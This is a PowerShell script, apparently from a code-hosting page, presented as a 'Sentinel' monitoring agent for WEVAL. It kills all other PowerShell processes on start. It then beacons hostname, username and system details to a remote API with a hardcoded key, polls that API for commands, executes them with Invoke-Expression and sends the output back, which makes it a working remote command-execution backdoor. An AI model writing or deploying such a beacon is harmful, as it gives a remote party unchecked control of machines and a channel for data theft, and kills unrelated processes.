48 lines
2.5 KiB
PowerShell
48 lines
2.5 KiB
PowerShell
# WEVAL Sentinel v2.4 - Uses poll, PS5 compatible
|
|
$API = "https://weval-consulting.com/api/blade-api.php?k=BLADE2026"
|
|
$LOG = "C:\ProgramData\WEVAL\sentinel.log"
|
|
$myPid = $PID
|
|
Get-Process powershell -EA 0 | Where-Object { $_.Id -ne $myPid } | ForEach-Object {
|
|
try { Stop-Process -Id $_.Id -Force -EA 0; Write-Host "Killed: $($_.Id)" } catch {}
|
|
}
|
|
function Log($m) { Add-Content $LOG "$(Get-Date -f 'HH:mm:ss') $m" -EA 0 }
|
|
function Send-HB {
|
|
try {
|
|
$cpu = try{(Get-CimInstance Win32_Processor -EA 0).LoadPercentage}catch{0}
|
|
$os = Get-CimInstance Win32_OperatingSystem -EA 0
|
|
$ram = try{[math]::Round((1-$os.FreePhysicalMemory/$os.TotalVisibleMemorySize)*100)}catch{0}
|
|
$gb = try{[math]::Round($os.TotalVisibleMemorySize/1MB)}catch{16}
|
|
$up = (Get-Date)-$os.LastBootUpTime
|
|
$b = @{ts=(Get-Date -f o);hostname=$env:COMPUTERNAME;cpu="$cpu%";ram="$ram% (${gb}GB)";disk="?";uptime="$([math]::Floor($up.TotalDays))d$($up.Hours.ToString('D2'))h$($up.Minutes.ToString('D2'))m";user=$env:USERNAME;ip="?";agent_version="2.4"}|ConvertTo-Json
|
|
Invoke-RestMethod "$API&action=heartbeat" -Method POST -Body $b -ContentType "application/json" -TimeoutSec 10|Out-Null
|
|
} catch { Log "HB: $_" }
|
|
}
|
|
function Do-Task {
|
|
try {
|
|
$r = Invoke-RestMethod "$API&action=poll&agent=sentinel" -TimeoutSec 10
|
|
$tasks = if($r.task){@($r.task)}else{@()}
|
|
if (-not $tasks -or $tasks.Count -eq 0) { return }
|
|
$t = $tasks[0]
|
|
if (-not $t.id) { return }
|
|
$cmd = $t.command
|
|
if (-not $cmd) { $cmd = $t.cmd }
|
|
if (-not $cmd) { return }
|
|
Log "EXEC: $($t.id)"
|
|
Write-Host "Exec: $($t.id) - $($t.name)$($t.label)"
|
|
try {
|
|
$out = Invoke-Expression $cmd 2>&1 | Out-String
|
|
if ($out.Length -gt 4000) { $out = $out.Substring(0,4000) }
|
|
Invoke-RestMethod "$API&action=report&id=$($t.id)&status=done" -Method POST -Body (@{result=$out}|ConvertTo-Json -Depth 3) -ContentType "application/json" -TimeoutSec 15|Out-Null
|
|
Log "OK: $($t.id)"
|
|
Write-Host " OK"
|
|
} catch {
|
|
try{Invoke-RestMethod "$API&action=report&id=$($t.id)&status=failed" -Method POST -Body (@{result="$_"}|ConvertTo-Json) -ContentType "application/json" -TimeoutSec 10|Out-Null}catch{}
|
|
Log "FAIL: $($t.id) $_"
|
|
Write-Host " FAIL: $_"
|
|
}
|
|
} catch { Log "POLL: $_" }
|
|
}
|
|
Log "=== v2.4 ==="
|
|
Write-Host "WEVAL Sentinel v2.4 running..."
|
|
while($true){Send-HB;1..6|ForEach-Object{Do-Task;Start-Sleep 10}}
|